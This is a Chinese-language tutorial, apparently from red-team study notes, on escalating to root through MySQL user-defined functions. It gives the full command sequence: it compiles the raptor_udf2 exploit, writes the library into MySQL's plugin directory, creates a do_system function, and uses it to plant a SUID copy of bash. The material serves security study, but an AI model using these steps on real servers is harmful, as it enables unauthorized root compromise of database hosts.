该文章Mysql udf提权适用于 Mysql >= 5.1,请各位注意版本号后再进行尝试!
什么是Mysql udf提权?
Mysql udf 提权就是利用 Mysql 允许用户自定义函数的机制进行提权。
“udf” 也就是 User Defiend Function,用户自定义函数。在Mysql数据库中,允许用户自定义创建自己的函数,这些函数可以在SQL查询中使用。通过使用自定义函数,使用者可以更加简便的进行数据库的查询等操作。
Mysql udf 提权条件:
(1)secure_file_priv为空或正好设置的路径为我们所需要导入的路径。这一点是最关键也是决定我们能否利用udf进行提取。因为secure_file_priv决定了我们是否有上传文件等操作的权限,其中限制了load_file(),select ....... into outfile,load date 等函数的权限。因此当secure_file_priv 为空时其也就表示了可以对任意路径进行操作。
mysql> show variables like '%secure_file_priv%';
若secure_file_priv的值被设置为 /var/lib/mysql-files/,则表示只能在指定目录 /var/lib/mysql-files/ 下进行文件的操作。
(2)拥有Mysql数据库的用户,该用户需要对Mysql拥有 Insert、create、delete等操作权限,最好是直接以root账户
提权步骤:
(1)准备好利用文件
我们可以先利用searchsploite查询mysql udf提权可利用的文件,我们可以利用其中的 1518.c 文件作为提权的脚本
将利用脚本下载下来当作备用,将其改名字为 raptor_udf2.c
(2)我们可以查看 raptor_udf2.c 脚本文件,里面有脚本文件利用的方法步骤
我们可以按照脚本里的利用方法对其进行利用
(3)利用php建立临时web服务器,将脚本文件传输到靶机中,接着开始按照步骤一步步开始利用
(4)具体命令讲解
gcc -g -c raptor_udf2.c -fPIC
1、-g:表示会生成调试信息,使得你在调试器中调试编译后的程序。生成的调试信息包含源代码行号、局部变量、局部和全局变量信息等
2、-c:这个是选项表示编译器仅编译源代码,不进行链接。编译器会生成一个目标文件,通常有 .o 的拓展名。这对于将多个源文件分别编译成目标文件,然后链接为一个可执行文件程序或库很有用。
3、-fPIC:这表示生成位置无关代码。这种代码可以在内存中的任何位置执行。
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
1、-g:表示会生成调试信息,使得你在调试器中调试编译后的程序。生成的调试信息包含源代码行号、局部变量、局部和全局变量信息等
2、-share:这个指示编译器生成一个共享库文件,而不是一个可执行文件。共享库允许多个程序共享相同的库代码,从而减少了程序的大小和内存占用
3、-Wl:该选项会告诉编译器将后面的选项传递给链接器。在这里它用于传递 -soname,raptor_udf2.so 选项
4、-soname,raptor_udf2.so:这个选项设置了生成共享库的共享对象名称。soname 是一个简短的标识符,用于在运行时链接器解析共享库依赖关系时引用该数据库。通常,soname 包括主版本号,以便在升级库时保持二进制的兼容性。
5、-o raptor_udf2.so:指定输出了文件名称,即生成的文件共享库名称。
6、-lc:这个选项告诉链接器链接 C 标准库。
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
其中需要特别注意的是 /usr/lib/mysql/plugin/raptor_udf2.so 文件的路径位置,因为不同版本号的数据库可能路径有不同的差别,因此需要我们特别查询进行文件构造
执行udf:
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
我们可以看到其属主和属组均属于root,并且我们有s位的权限,因此我们执行bash后会获得root的权限
提权:
/tmp/rootbash -p
提权成功
Mysql udf 提权总结:
通过Mysql允许用户自定义函数,以更高级的权限自定义一些能够执行的系统命令的函数,然后导入mysql数据库中,通过数据库去以高权限执行系统命令,获得提权。
参考内容:「红队笔记」Linux提权精讲:演示1 - 服务漏洞利用提权,以MySQL-UDF提权为例_哔哩哔哩_bilibili